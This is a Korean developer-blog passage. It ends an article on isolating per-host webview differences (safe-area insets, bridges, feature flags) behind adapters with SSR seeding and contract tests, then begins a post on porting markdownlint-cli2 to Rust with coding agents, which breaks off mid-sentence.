- **뒤로 가기**: Android에서도 호스트마다 처리 방식이 다르다. "이전 페이지가 있으면 돌아가고, 없으면 웹뷰를 닫는다"는 동작을 각 호스트의 API에 맞춰 구현한다.

핸들러에서 환경에 따른 차이를 발견하면, 호스트 연동 방식의 차이인지 제품 요구사항인지 먼저 확인했다.

- **호스트 연동 방식**의 차이는 어댑터에서 처리한다. 결제 종료 후 웹뷰를 닫을지 결과 화면으로 이동할지는 `bridge.finishFlow(result)`의 구현에서 정한다.
- **제품 요구사항**에 따른 차이는 핸들러에 남긴다. 특정 앱에서만 결제 후 쿠폰 화면을 보여줘야 한다면, `features`에 선언하고 핸들러가 이를 읽는다.

```tsx
function usePaymentComplete() {
  const host = useHost()
  const bridge = useBridge()

  return async (order: Order) => {
    await markPaid(order) // 도메인. 호스트와 무관하다

    if (host.features.showCouponAfterPayment) {
      bridge.navigate('/coupon') // 제품 결정. 선언을 읽는 if는 남는다
      return
    }
    bridge.finishFlow({orderId: order.id}) // 웹뷰를 닫을지 페이지를 이동할지는 어댑터가 처리한다
  }
}
```

핸들러 전체를 어댑터로 옮기지는 않았다. `adapter.onPaymentComplete(order)`가 결제 처리까지 맡으면 환경별 구현에 도메인 로직이 중복될 수 있다. 어댑터가 주문이나 결제 모듈을 import한다면 역할이 지나치게 넓어진 것은 아닌지 확인해야 한다.

단계를 나눠도 실행 순서가 환경마다 다른 경우에는 관련 단계만 하나의 메서드로 묶을 수 있다. 이때도 도메인 처리까지 옮기지 않도록 범위를 제한한다. 계약 테스트에서는 내부 호출 순서뿐 아니라, 작업이 완료됐을 때 모든 호스트에서 같은 결과 조건을 만족하는지 확인한다.

앱 버전도 고려해야 한다. 웹을 배포해도 사용자의 호스트 앱이 함께 업데이트되지는 않기 때문이다. 기능 지원 여부를 호출부마다 버전 문자열로 비교하면 환경 분기를 모은 효과가 줄어든다. 브릿지 핸드셰이크나 버전 테이블로 어댑터가 지원 여부를 확인하고, 결과를 `HostConfig.features`에 담는다. 호출부는 이 설정값만 확인하면 된다.

## 스타일: 공통 CSS 변수로 인셋 사용하기

인셋처럼 값만 다른 경우에는 CSS 변수로 처리할 수 있다. 환경별 선언부에서 소스를 고르고, 컴포넌트는 같은 변수명을 사용한다.

```css
/* 환경 선언부: 분기는 여기 한 곳에만 존재한다 */
html {
  --app-bottom-inset: env(safe-area-inset-bottom, 0px);
}
html[data-host='partner'][data-os='aos'] {
  /* 주입 전에는 SSR이 <html> 인라인 스타일로 내려준 시드, 주입 뒤에는 실측값 */
  --app-bottom-inset: var(--host-inset-bottom, var(--app-seed-bottom, 0px));
}

/* 컴포넌트 스타일에서는 공통 변수만 사용한다 */
.floating-layout {
  padding-bottom: calc(16px + var(--app-bottom-inset));
}
```

이렇게 하면 컴포넌트마다 환경별 오버라이드를 반복할 필요가 없다.

`data-host`와 `data-os`는 SSR에서 `<html>`에 넣는다. 클라이언트 JS가 붙이게 하면 첫 페인트에 기본 규칙이 적용됐다가 나중에 바뀐다. 주입 전 인셋도 사용할 수 있도록 `--app-seed-bottom`을 함께 내려준다.

웹에서 사용할 변수(`--app-bottom-inset`)와 앱이 주입하는 변수(`--host-inset-bottom`)는 이름을 분리했다. 같은 변수를 양쪽에서 설정하면 웹 코드가 앱의 실측값을 덮어쓸 수 있다. 앱이 주입하는 이름은 읽기만 하고, 웹에서는 별도의 변수를 사용한다.

여백 계산에서는 `max()`와 덧셈의 차이도 확인해야 했다. 하단 고정 버튼에 `max(인셋, 16px)`를 적용하면 둘 중 큰 값만 확보한다. 우리가 관측한 파트너 앱 AOS는 웹뷰가 불투명한 내비게이션 바 아래까지 확장됐다. 인셋이 15px이면 `max(15px, 16px)`로 확보한 16px 중 15px이 바에 가려져, 보이는 여백은 1px뿐이었다.

이 화면에서 바 위에 16px을 남기려면 `calc(16px + 15px)`가 필요했다. 그래서 위 예제도 덧셈을 사용한다. 인셋이 0인 환경에서는 그대로 16px이 된다. 홈 인디케이터 주변이 보이는 iOS 화면과는 시각적 결과가 달랐으므로, 엣지투엣지 여부뿐 아니라 실제 바가 어떻게 그려지는지도 확인했다.

모든 컴포넌트에 16px을 더할 필요는 없다. 바텀시트처럼 콘텐츠를 시스템 영역 바로 위까지 배치하려면 인셋만 적용하면 된다. 추가 여백은 컴포넌트 디자인에 따라 정한다.

셀렉터 구조 자체가 달라지는 경우에는 분기가 남는다. 이런 조건은 `[data-features~='no-env']`처럼 이유를 나타내는 속성으로 선언하고, 반복되는 셀렉터를 mixin으로 모았다. 수정할 때 관련 스타일을 한 번에 찾을 수 있도록 하기 위해서다.

실제 사용처에 따라 CSS와 JS 경로를 나눴다. 하단처럼 레이아웃에만 쓰는 값은 CSS로 처리할 수 있다. 상단은 헤더와 sticky 요소의 위치를 JS로 계산하는 코드가 있어 스토어를 통해 같은 값을 사용하도록 했다. 앞의 `Screen`은 JS에서도 하단 인셋이 필요할 때의 사용 예다.

두 경로는 갱신 시점이 다르다. CSS는 변수가 늦게 주입돼도 바로 반영하지만, JS 스토어는 다음 감지 신호까지 이전 값에 머문다. 신호 없는 늦은 주입을 놓치는 문제는 JS 경로에 남는다.

## 린트와 테스트로 확인하기

구조를 바꾼 뒤에도 새 코드가 원시 판별 함수를 직접 사용하면 분기는 다시 흩어진다. 리뷰만으로 확인하기보다는 린트와 계약 테스트를 CI에 추가했다.

린트에서는 원시 판별 유틸(`isPartnerApp` 등)을 어댑터와 조립 코드 밖에서 import하지 못하게 한다.

```js
// eslint: 컴포넌트에서 원시 판별 유틸 import 금지
'no-restricted-imports': ['error', {
  patterns: [{
    group: ['**/host/adapters/detect'],
    message: '판별 유틸은 어댑터와 조립 코드에서만 사용하세요. 컴포넌트에서는 HostConfig를 참조하세요.',
  }],
}]
```

실제 설정에는 어댑터와 `bootstrap.ts` 등 허용된 조립 코드의 예외도 필요하다. 위 패턴은 import 문자열에 적용되므로 프로젝트의 경로 별칭과 상대 경로까지 고려해야 한다. `env(safe-area-inset-*)`나 `prefers-color-scheme`도 컴포넌트 스타일에서 직접 참조하지 않도록 stylelint 규칙을 둔다.

어댑터는 같은 인터페이스를 구현하므로 공통 테스트 스위트를 적용할 수 있다.

```ts
describe.each(adapters)(
  'HostAdapter 계약: $config.channel-$config.os',
  (adapter) => {
    it('인셋을 음수로 반환하지 않는다', () => {
      /* ... */
    })
    it('미지원 브릿지 호출이 예외를 던지지 않는다', () => {
      /* ... */
    })
    it('시드가 확정값을 덮지 않는다', () => {
      /* ... */
    })
  },
)
```

앞서 겪은 상단 인셋 버그도 파트너 앱 UA를 입력으로 넣고 결과를 확인하는 테스트로 남길 수 있다. 환경별 판별과 값 계산이 한곳에 모이면서 이런 회귀 테스트를 작성하기 쉬워졌다. 실제 호스트의 동작까지 검증하는 것은 아니지만, 이미 겪은 버그가 다시 들어오는 것은 CI에서 확인할 수 있다.

## 파일별 구현 예제

어댑터, 스토어, 초기화 코드와 React 연결부를 모으면 다음과 같다. 소스별 파싱과 라우터 같은 세부 구현은 생략했다.

```ts
// host/adapters/types.ts: 어댑터가 제공할 값과 메서드
export type Side = 'top' | 'right' | 'bottom' | 'left'
export const SIDES: Side[] = ['top', 'right', 'bottom', 'left']
export type Insets = Record<Side, number>
export type Grade = 'default' | 'seed' | 'measured'

export interface HostConfig {
  channel: 'own' | 'partner'
  os: 'ios' | 'aos'
  features: {showPartnerPromotion: boolean; showCouponAfterPayment: boolean}
}

export interface HostBridge {
  setStatusBarStyle(style: 'light' | 'dark'): void
  navigate(url: string): void // 스택을 쌓을지 라우터로 갈지는 어댑터가 정한다
  finishFlow(result: FlowResult): void // 웹뷰를 닫을지 결과 화면으로 갈지도
}

export interface HostAdapter {
  seedInsets(ctx: RequestContext): Partial<Insets> | undefined
  watchInsets(push: (side: Side, value: number, grade: Grade) => void): void
  bridge: HostBridge
  config: HostConfig
}
```

```ts
// host/store.ts: 등급이 낮은 값은 높은 값을 덮지 못한다. 그것이 규칙의 전부다
const RANK: Record<Grade, number> = {default: 0, seed: 1, measured: 2}

export function createInsetStore(seed: Partial<Insets> | undefined) {
  const state = {} as Record<Side, {value: number; grade: Grade}>
  for (const side of SIDES) {
    const seeded = seed?.[side]
    state[side] =
      seeded === undefined
        ? {value: 0, grade: 'default'} // 헤더도 쿠키도 없는 SSR이 여기로 온다
        : {value: seeded, grade: 'seed'}
  }

  const listeners = new Set<() => void>()
  const serverSnapshot = toInsets(state) // 첫 렌더에 쓴 값. 이후 절대 바뀌지 않는다
  let snapshot = serverSnapshot

  return {
    push(side: Side, value: number, grade: Grade) {
      if (RANK[grade] < RANK[state[side].grade]) return
      state[side] = {value, grade}
      snapshot = toInsets(state)
      listeners.forEach((listener) => listener())
    },
    subscribe(listener: () => void) {
      listeners.add(listener)
      return () => listeners.delete(listener)
    },
    getSnapshot: () => snapshot,
    getServerSnapshot: () => serverSnapshot, // hydration 동안 React가 보는 값
    grades: () => Object.fromEntries(SIDES.map((s) => [s, state[s].grade])), // 텔레메트리용
  }
}
```

```ts
// host/adapters/partner-aos.ts: 파트너 앱 AOS의 값 소스와 동작
export const partnerAosAdapter: HostAdapter = {
  seedInsets: (ctx) =>
    parseInsetHeaders(ctx.headers) ?? parseSeedCookie(ctx.cookies),

  watchInsets: (push) => {
    const report = () => {
      for (const side of SIDES) {
        const injected = readInjectedInset(CSS_VAR_BY_SIDE[side]) // 미주입 undefined, 0 주입 0
        if (injected !== undefined) push(side, injected, 'measured')
      }
    }
    report()
    visualViewport?.addEventListener('resize', report)
  },

  bridge: {
    setStatusBarStyle: noopWithDevWarning('setStatusBarStyle'), // 대안이 "아무것도 안 함"인 경우
    navigate: (url) => router.push(url), // 이 호스트는 SPA 전환
    finishFlow: (result) => router.replace(resultPath(result)), // no-op이 아니라 다른 구현
  },

  config: {
    channel: 'partner',
    os: 'aos',
    features: {showPartnerPromotion: true, showCouponAfterPayment: false},
  },
}
```

```ts
// host/bootstrap.ts: "어떤 환경인가?"가 실행되는 유일한 곳. 서버와 클라이언트에서 한 번씩
export function bootstrapHost(ctx: RequestContext) {
  const adapter = selectAdapter(detect(ctx))
  // 클라이언트는 서버가 HTML에 실어 둔 시드를 그대로 쓴다. 쿠키를 다시 읽지 않는다
  const seed: Partial<Insets> =
    ctx.serializedSeed ?? adapter.seedInsets(ctx) ?? {}
  const store = createInsetStore(seed)

  if (typeof window !== 'undefined') {
    adapter.watchInsets((side, value, grade) => store.push(side, value, grade))
  }

  return {
    htmlAttrs: {
      'data-host': adapter.config.channel,
      'data-os': adapter.config.os,
      'data-seed': encodeSeed(seed), // 시드가 없으면 {}를 인코딩하고 그대로 복원한다
      style: {'--app-seed-bottom': `${seed?.bottom ?? 0}px`}, // CSS 경로의 첫 페인트용
    },
    host: adapter.config,
    bridge: adapter.bridge,
    insetStore: store,
    // 시드 절의 규칙: 헤더를 본 SSR 응답만 쿠키를 쓴다. Max-Age와 Domain은 필수
    seedCookie: hasInsetHeaders(ctx)
      ? {
          name: SEED_COOKIE,
          value: encodeSeed(seed),
          maxAge: 60 * 60 * 24 * 30,
          domain: COOKIE_DOMAIN,
          path: '/',
          sameSite: 'lax' as const,
          secure: true,
        }
      : undefined,
  }
}
```

```tsx
// host/react.tsx: 컴포넌트에 설정, 브릿지, 스토어를 제공한다
export function HostProvider({
  value,
  children,
}: {
  value: ReturnType<typeof bootstrapHost>
  children: ReactNode
}) {
  return (
    <HostContext.Provider value={value.host}>
      <BridgeContext.Provider value={value.bridge}>
        <InsetStoreContext.Provider value={value.insetStore}>
          {children}
        </InsetStoreContext.Provider>
      </BridgeContext.Provider>
    </HostContext.Provider>
  )
}

export const useHost = () => useContext(HostContext)
export const useBridge = () => useContext(BridgeContext)
export function useInsets() {
  const store = useContext(InsetStoreContext)
  // hydration 동안은 고정된 서버 스냅샷을, 그 뒤로는 현재 스냅샷을 본다.
  // 클라이언트 부트스트랩의 watchInsets가 hydration보다 먼저 실측값을 밀어 넣어도 어긋나지 않는다
  return useSyncExternalStore(
    store.subscribe,
    store.getSnapshot,
    store.getServerSnapshot,
  )
}
```

```tsx
// SSR 진입점(프레임워크 독립 의사 코드): 판정은 여기서 끝나고, <html> 속성과 쿠키가 응답에 실린다
function renderDocument(req: Request, res: Response) {
  const boot = bootstrapHost(requestContextFrom(req))
  if (boot.seedCookie) res.setCookie(boot.seedCookie)

  return renderToString(
    <html {...boot.htmlAttrs}>
      <body>
        <HostProvider value={boot}>
          <App />
        </HostProvider>
      </body>
    </html>,
  )
}
```

위 코드는 일반 SSR 흐름을 보여주는 의사 코드다. Next.js App Router에서는 [쿠키를 쓸 수 있는 위치](https://nextjs.org/docs/app/api-reference/functions/cookies)가 따로 있고, 함수가 든 `boot` 객체를 서버에서 Client Component로 전달할 수 없다. 최초 응답에 시드 쿠키를 넣는 작업은 Proxy(기존 Middleware)나 응답을 만드는 서버 코드에서 처리해야 한다.

Provider에는 판정 결과와 시드를 **직렬화 가능한 props**로 전달한다. [Client Component도 최초 요청에서는 서버에서 HTML로 렌더링되므로](https://nextjs.org/docs/app/getting-started/server-and-client-components#on-the-server), 초기값을 `document`에서만 읽게 해서는 안 된다. Provider가 props로 스토어를 초기화하고, 브라우저에서 마운트된 뒤 실측 감시를 시작하도록 초기화와 감시를 분리한다. 서버 렌더링과 hydration에서는 같은 시드 스냅샷을 사용한다.

일반 SSR 예제의 클라이언트 진입점은 `navigator`와 HTML의 `data-seed`로 컨텍스트를 만든 뒤 `bootstrapHost`를 한 번 실행한다. 그 결과를 `HostProvider`에 전달하면 컴포넌트는 `useInsets()`, `useHost()`, `useBridge()`를 사용할 수 있다. 시드가 없던 요청에서도 `data-seed`에는 빈 객체 `{}`를 인코딩한다. 디코딩한 결과 역시 `{}`로 유지해야 하며, 이를 `undefined`로 바꿔 쿠키 폴백을 다시 실행하지 않는다.

## 로컬에서 환경별 동작 재현하기

로컬 개발에서도 어댑터를 활용할 수 있었다. 이전에는 파트너 앱 화면을 확인하려면 UA 판별뿐 아니라 CSS 변수 주입 같은 호스트 동작도 각각 흉내 내야 했다. 설정이 번거로워 개발 중 확인과 버그 재현 모두 실기기에 의존하는 경우가 많았다.

이제는 테스트용 어댑터에서 값과 동작을 제공할 수 있다.

- **dev 환경 스위처**: dev 빌드에서 쿼리 파라미터로 HostConfig를 강제하면, 데스크톱 브라우저에서도 파트너 앱 AOS의 선언(`data-*` 속성, CSS 변수)이 그대로 재현된다. 호스트의 CSS 변수 주입은 dev 스크립트로 흉내 내는데, `setTimeout`으로 bottom을 먼저 넣고 top을 늦게 넣으면 부분 주입 레이스까지 로컬에서 재현할 수 있다.
- **Storybook**: 데코레이터로 어댑터를 주입해, 같은 컴포넌트를 환경별 스토리로 나란히 놓는다.
- **E2E**: Playwright의 project를 환경 프로파일(UA, 쿠키, 헤더 조합)별로 정의해 같은 시나리오를 환경 수만큼 돌린다.

이 테스트는 이미 알고 있는 동작을 재현한다. 웹뷰 엔진의 차이나 예상하지 못한 주입 타이밍은 실기기에서 확인해야 한다. 로컬 테스트로 반복 확인을 줄이고, 실제 호스트와의 차이는 기기에서 검증한다.

## 새 환경을 추가할 때

새 파트너 앱을 지원하면 iOS와 AOS 조합이 늘어난다. 기존 인터페이스로 지원할 수 있다면 다음 순서로 작업할 수 있어야 한다.

1. 값의 소스, 브릿지 이름, 컨테이너 설정을 조사해 환경별 어댑터를 작성한다.
2. 어댑터를 공통 계약 테스트에 등록한다.
3. 호스트 선언과 필요한 CSS 오버라이드를 추가한다.
4. 전용 UI 요구사항이 있다면 기능 설정과 해당 UI를 추가한다.

기존 인터페이스로 지원할 수 있는 환경이고 새 제품 요구사항이 없다면, 기존 컴포넌트와 훅은 수정하지 않는 것이 목표다. 전용 UI를 추가하는 경우에는 그에 필요한 코드가 늘어난다. 이를 환경 추상화의 실패로 볼 필요는 없다. 확인해야 할 것은 기존 컴포넌트와 훅에 호스트 판별이 다시 들어가는지다.

새 호스트를 조사하는 일은 여전히 필요하다. 다만 조사 결과를 어댑터에 모아 두면 여러 파일에서 같은 조건을 다시 찾지 않아도 된다. 다음 입점에서도 이 범위를 유지할 수 있는지는 실제 작업을 통해 확인해야 한다.

## 이 구조가 해결하지 못하는 것

도입 후에도 해결되지 않은 문제와 추가된 부담이 있다.

**환경별 구현은 계속 관리해야 한다.** 분기를 어댑터로 모아도 호스트마다 다른 소스와 동작은 남는다. 환경이 늘면 어댑터와 테스트도 늘어난다.

**버그를 추적할 때 거치는 코드가 늘었다.** 값의 출처를 찾으려면 `컴포넌트 → 훅 → 스토어 → 어댑터`를 따라가야 한다. 처음 보는 사람은 이 구조부터 익혀야 한다. 환경 분기가 적은 작은 서비스라면 이 비용이 더 클 수도 있다.

**feature 플래그도 관리가 필요하다.** 조건마다 플래그를 만들면 의미가 겹치거나 조합을 이해하기 어려워진다. 새 플래그를 추가할 때는 기존 설정으로 표현할 수 없는 이유를 리뷰에서 확인했다.

**호스트 업데이트로 전제가 바뀔 수 있다.** 계약 테스트는 어댑터의 구현을 검증할 뿐, 실제 호스트가 계속 같은 값을 주는지까지 확인하지 못한다. WebView의 `env()` 지원 변화처럼 값의 소스나 동작이 달라지면 어댑터도 재검토해야 한다.

그래서 인셋의 출처와 이상치를 원격 로그로 남기는 것이 중요했다. 자사 앱은 디버그 빌드로 확인할 수 있지만, 파트너 앱의 릴리즈 빌드는 웹뷰 인스펙션이 막혀 있는 경우가 많았다. 로그가 없으면 실기기를 가진 사람의 설명만으로 원인을 찾아야 했다.

**첫 페인트의 정확성은 보장하지 못한다.** 시드가 오래됐거나 없는 상태에서 실측값이 늦게 도착하면 여백이 바뀔 수 있다. 이를 숨기려면 렌더링을 늦춰야 하고, 바로 그리려면 레이아웃 시프트를 감수해야 한다. JS 경로에서는 신호 없는 주입을 놓쳐 시드가 계속 남는 경우도 있다.

## 작업을 마치고

작업하면서 분산 시스템의 최종 일관성(eventual consistency) 문제와 비슷하다고 느꼈다. 웹은 호스트의 현재 상태를 직접 알 수 없고, 헤더나 브릿지, CSS 변수로 전달받는다. 전달 시점이 다르고 일부 값이 늦거나 빠질 수 있다. 쿠키는 이전에 관측한 값이고, 스토어의 등급은 서로 다른 소스가 충돌할 때 어느 쪽을 사용할지 정하는 규칙이다.

다만 이 구현이 최종 일관성을 보장하는 것은 아니다. 신호 없는 늦은 주입을 놓치면 실측값으로 갱신되지 않을 수 있다. 이 비유가 도움이 된 지점은 값의 도착 시점과 유효 범위를 먼저 생각하게 됐다는 데 있다.

하나의 웹을 여러 앱에서 열 수 있다는 것은 서비스 확장에 유리하다. 그만큼 개발 쪽에서는 새 호스트를 조사하고 차이를 처리할 시간이 필요하다. 기존 코드에 조건 몇 개를 붙이는 일로 생각하면, 다음 입점에서도 같은 문제를 반복하기 쉽다.

이번 작업에서는 환경 판별을 한곳에 모으고, 값과 동작은 공통 인터페이스로 제공했다. 제품 요구사항에 따른 조건은 남겼다. 새 문제가 생겼을 때 어느 어댑터를 확인하고 어디에 테스트를 추가할지 알 수 있게 된 것이 가장 큰 변화였다.

---

Source: https://yceffort.kr/2026/09/porting-markdownlint-cli2-to-rust.md
Title: <em>드롭인 호환</em>의 진짜 비용: markdownlint-cli2를 Rust로 옮기며 버린 것들
Description: markdownlint-cli2를 Rust로 옮겨 블로그 저장소의 진단 264,114건을 바이트 단위로 맞췄다. 규칙 51개를 옮긴 커밋은 하루에 몰렸지만, 교체해 쓸 도구를 완성하는 일은 보름 동안 이어졌다. 37배 빠른 파서를 포기하고, 성능 측정의 오판을 고치고, 적대 리뷰에서 호환 차이 11건을 더 찾은 기록이다.
Date: 2026-09-08
Tags: rust, markdown, ai, code-generation, testing, compatibility

## Table of Contents

## 나도 할 수 있을까

5월에 [Bun이 코드베이스를 Zig에서 Rust로 옮겼다는 소식](/2026/05/bun-rust-rewrite-real-story)을 보고 글을 한 편 썼다. 그 글은 거버넌스 이야기였는데, 다 쓰고 나서도 한 가지가 계속 남았다. Jarred Sumner는 나처럼 프론트엔드 개발자였고, JavaScript 도구의 속도와 무게라는 같은 고민에서 Bun을 시작한 사람이다. 나도 2022년에 [JavaScript 개발자를 위한 Rust](/2022/02/rust-for-javascript-developer-chapter1)를 연재하며 빌림 검사기(borrow checker, 참조의 소유권과 수명을 컴파일 타임에 강제하는 장치)와 씨름했고 wasm도 몇 번 만져 봤지만, 실무에 Rust를 가져간 적은 없었다. 같은 배경에서 출발한 사람이 에이전트를 붙여 언어를 통째로 갈아탔다면, 나도 훨씬 작은 것 하나는 옮길 수 있지 않을까. 시작은 그 호기심이었다.

대상은 매일 쓰는 것 중에서 골랐다. 이 블로그의 마크다운을 검사하는 [markdownlint-cli2](https://github.com/DavidAnson/markdownlint-cli2) v0.22.1이다. 새 이름은 [rust-markdownlint](https://github.com/yceffort/rust-markdownlint)이고, 목표는 하나였다. 명령줄, 설정 파일, 인라인 주석, 출력, exit code, `--fix` 결과까지 원본과 바이트 단위로 같을 것. 지금은 이 블로그의 마크다운 20,966개(node_modules 포함)를 두 도구로 돌리면 오류 264,114건이 한 글자도 다르지 않게 나온다. 다만 그 문장을 쓸 수 있게 되기까지 시간이 어디에 들어갔는지는 예상과 달랐다.

저장소의 첫 커밋은 8월 24일이고 마지막 커밋은 9월 7일이다. 달력으로는 보름이고 커밋이 있는 날은 열흘이다. 규칙 53개 중 51개를 옮긴 커밋은 8월 26일 12시 6분부터 17시 52분 사이에 몰려 있다. 그 전후로는 파서와 CLI의 뼈대를 세우고, 원본과 출력을 대조하고, 배포와 성능을 다듬었다. 27일에는 실전 저장소 9개와 원본의 명령줄 시나리오를 대조하며 JavaScript 의미론 차이를 고쳤고, 28일과 29일에는 LSP 서버(편집기에 진단을 넘겨주는 Language Server Protocol 구현)와 `--diff`를 붙이다가 rumdl과의 속도 격차를 발견했다. 닷새를 비운 뒤 9월 6일에 적대 리뷰가 찾은 11건을 고쳐 v0.1.3을 내고, 7일에 남은 속도 격차를 재고 출력 경로를 손본 것이 마지막이다.

커밋 날짜가 작업 시간의 비율을 알려 주지는 않는다. 다만 규칙 대부분을 옮긴 뒤에도 교체해 쓸 도구를 만들기 위한 일이 많이 남았다는 것은 보여 준다. 이 글은 그 과정에서 내린 결정들에 관한 기록이다.

Bun에서 가져온 것은 방법이다. Bun 팀은 Claude 에이전트를 병렬로 돌려 Zig 535,496줄을 11일 만에 Rust로 옮겼고, 기존 TypeScript 테스트 스위트로 새 구현을 검증했다. 나는 같은 레시피를 훨씬 작은 규모로 따라갔다. 원본 프로그램과 테스트 자료는 있었지만, Rust 구현을 거기에 연결해 대조할 체계는 직접 만들어야 했다.

> 이 글의 수치는 전부 저장소 안 문서와 벤치 기록에 있는 값이다. 호환 기준은 markdownlint-cli2 v0.22.1(markdownlint v0.40.0)이고, 9월 7일의 세 도구 성능 비교에는 cli2 v0.23.2를 썼다. 파서는 markdown-rs 1.0.0을 수정한 것, 비교 대상 rumdl은 8월 측정이 0.2.61, 9월 7일 측정이 0.2.67이다. 속도는 Apple M 시리즈 10코어에서 `hyperfine --warmup 3`으로 쟀고, 9월 7일의 세 도구 비교만 GitHub Codespaces 4 vCPU(AMD EPYC 7763, Ubuntu 24.04)에서 쟀다. 상세 조건은 각 절에 적었다. 규칙 포팅과 적대 리뷰에는 코딩 에이전트(Claude Code, 적대 리뷰는 Codex)를 썼고, 어느 판단이 사람의 것이고 어느 것이 에이전트의 것인지는 본문에서 구분했다.

## 원본을 검증 기준으로 삼기

markdownlint-cli2는 Node.js 도구다. 마크다운 파일을 glob(`**/*.md` 같은 와일드카드 경로 패턴)으로 모아서 markdownlint 규칙 53개를 돌리고, 결과를 `파일:줄:열 규칙 설명` 형식으로 찍는다. 이걸 Rust로 옮기고 싶었던 이유는 흔한 것이었다. Node 없이 바이너리 하나로 돌고, 파일 단위로 병렬화하고 싶었다. 다만 그 목표를 "빠른 마크다운 린터"로 잡으면 이미 [rumdl](https://github.com/rvben/rumdl) 같은 것이 있다. 내가 잡은 목표는 그것과 달랐다. 기존 `.markdownlint-cli2.jsonc`와 `.markdownlint.jsonc`를 한 글자도 안 고치고 실행 파일 이름만 바꿔 끼울 수 있을 것, 그리고 결과가 같을 것.

이 정의를 설계 문서 첫 절에 네 줄로 적어 두었다. 같은 설정 파일을 수정 없이 읽을 것, 같은 입력에 같은 위치와 규칙과 메시지와 exit code를 낼 것, `--fix` 결과 파일이 같을 것, 원본 저장소의 테스트 픽스처(fixture, 기대 결과가 정해져 있는 입력 파일)를 통과할 것. 뒤에 나오는 결정은 거의 전부 이 네 줄에서 파생된다. 무엇을 만들지보다 무엇을 만들지 않을지가 여기서 정해졌는데, JavaScript 플러그인(`customRules`, `markdownItPlugins`)과 `.cjs`/`.mjs` 설정 파일은 처음부터 지원하지 않기로 했고, 대신 그런 키를 만나면 조용히 무시하지 않고 경고를 찍기로 했다.

Bun과 달랐던 점은 기존 테스트를 새 구현에 연결하는 방법이었다. Bun의 TypeScript 테스트는 런타임의 구현 언어와 무관하게 실행할 수 있다. markdownlint의 테스트는 JavaScript API에 연결되어 있어 Rust 구현에 그대로 돌릴 수는 없지만, 입력 픽스처와 기대 출력은 가져올 수 있었다. 여기에 **원본 프로그램 그 자체**를 기준으로 삼아, 같은 입력을 두 프로그램에 넣고 출력을 diff 하는 하네스를 만들었다. 테스트를 통과했다는 것은 그 입력에서 같았다는 근거다. 어디까지 같은지를 알려면 입력과 대조 범위를 넓혀야 했고, 그 일이 예상보다 컸다.

## 파서를 고르는 데서 이미 반쯤 정해졌다

markdownlint 규칙은 micromark의 토큰 트리 위에서 돈다. micromark는 CommonMark(마크다운의 표준 명세) 파서인데, 흔히 쓰는 AST(mdast, 문단이나 헤딩 같은 의미 단위로 정리된 트리)가 아니라 그 아래의 concrete token tree(공백과 줄바꿈, 기호 하나까지 원문의 모든 바이트를 토큰으로 남기는 트리)를 만든다. `atxHeadingSequence`, `whitespace`, `lineEnding`, `listItemPrefix` 같은 토큰으로 파일의 모든 바이트가 설명된다. 규칙들은 이 토큰을 순회하면서 "헤딩 앞 공백 토큰이 있는가", "리스트 접두어 토큰의 길이가 얼마인가"를 본다. 즉 규칙의 정의가 micromark의 토큰 구조에 묶여 있다.

이 토큰을 공개 API로 주는 Rust 크레이트는 없었다. pulldown-cmark는 이벤트가 너무 거칠고 autolink literal(꺾쇠 없이 적은 `https://…`가 저절로 링크가 되는 GFM 문법)이 없다. comrak은 바이트 오프셋(토큰이 원문의 몇 번째 바이트에서 시작하고 끝나는지)이 없다. mdast 위에서 원문을 다시 스캔해 규칙을 재구현하는 방법도 있었는데, 그러면 규칙 절반이 재해석이 되어 호환을 검증할 기준이 사라진다. 남은 선택은 [markdown-rs](https://github.com/wooorm/markdown-rs)였다. micromark 저자가 직접 만든 1:1 포트라 내부에 같은 토큰 이벤트가 있다. 다만 공개 API는 mdast와 HTML뿐이라, 크레이트 1.0.0을 통째로 저장소에 넣고(43,802줄) 내부 모듈을 `pub`으로 여는 패치를 가했다. 그 위에 원본 `MicromarkToken`과 같은 모양의 트리를 만드는 어댑터를 두었다.

패치는 처음 3건으로 시작해서 지금 15건이다. 처음 것은 모듈 공개와 실패한 참조 링크 기록 같은 구조적인 것이었는데, 나중 것들은 성격이 다르다. markdown-rs가 micromark와 미묘하게 다르게 동작하는 지점을 micromark와 같게 되돌리는 패치다. 예를 들어 리스트가 닫힌 직후 시작한 문단에서 `2.`로 시작하는 줄이 새 리스트로 잘리는 문제, `## # a`의 안쪽 `#`이 본문에 안 들어가는 문제, 열린 `[` 안에서 autolink literal이 시작되어 `]`를 URL로 삼키는 문제가 그렇다. 전부 CommonMark 스펙 해석의 문제가 아니라 두 구현 사이의 우연한 차이였고, 그 차이가 규칙 결과의 차이로 나타났다. 이 이야기는 뒤에서 더 커진다.

## 하루에 몰린 규칙 51개의 포팅

설계 문서를 쓰면서 GitHub 이슈 71개를 미리 만들었다. 뼈대 작업 14개, 규칙당 1개씩 53개, 마무리 4개. 규칙 이슈에는 원본 소스 경로(`lib/md0XX.mjs`), 문서 경로, 테스트 픽스처 경로, 파라미터 표를 본문에 넣었다. 에이전트에게 줄 작업 단위가 이슈 하나였기 때문이다.

뼈대는 8월 24일과 25일 이틀이었다. markdown-rs를 벤더링해 이벤트 API를 열고, micromark 모양의 토큰 트리 어댑터를 만들고, 원본 픽스처 388개를 JS micromark로 덤프한 토큰 오라클(oracle, 정답을 내주는 기준 구현)과 대조하고, 규칙 트레이트와 레지스트리, 설정 로딩과 `extends`, front matter(문서 맨 앞을 `---`로 감싼 메타데이터 블록)와 인라인 주석(`<!-- markdownlint-disable -->` 같은 본문 안의 설정 주석), `--fix` 적용, CLI의 인자 파싱과 glob 열거까지. 규칙은 이 단계에서 견본으로 MD047과 MD018 둘만 옮겼다. 26일 오전에 디렉토리별 설정 캐스케이드, 출력 포맷과 exit code, 규칙별 스냅샷(한 번 확인한 출력을 파일로 저장해 두고 이후 실행과 비교하는 테스트 방식) 하네스와 벤치 하네스가 붙었고, 12시 6분에 첫 규칙 커밋이 들어왔다. 규칙 포팅은 배치로 돌렸다. 배치 하나에 규칙 10개 안팎을 골라서, 규칙마다 서브 에이전트를 git worktree로 격리해 병렬로 띄웠다. 각 에이전트가 만질 수 있는 파일은 4개로 제한했다. 규칙 파일 하나, `mod.rs`의 한 줄, 레지스트리, 스냅샷 테스트 목록. 원본 규칙을 함수 단위로 1:1 옮기고, 그 규칙의 픽스처 스냅샷이 원본 기대값과 일치하면 끝이다. 에이전트가 끝나면 내가 완료 순서대로 cherry-pick 해서 스택 PR(앞 PR의 브랜치 위에 다음 PR을 쌓는 방식)을 만들고, 벤치는 스택의 끝에서 규칙별로 한 번씩 돌려 따로 커밋했다. PR마다 CI가 바뀐 규칙의 벤치를 돌려 코멘트를 남기도록 해 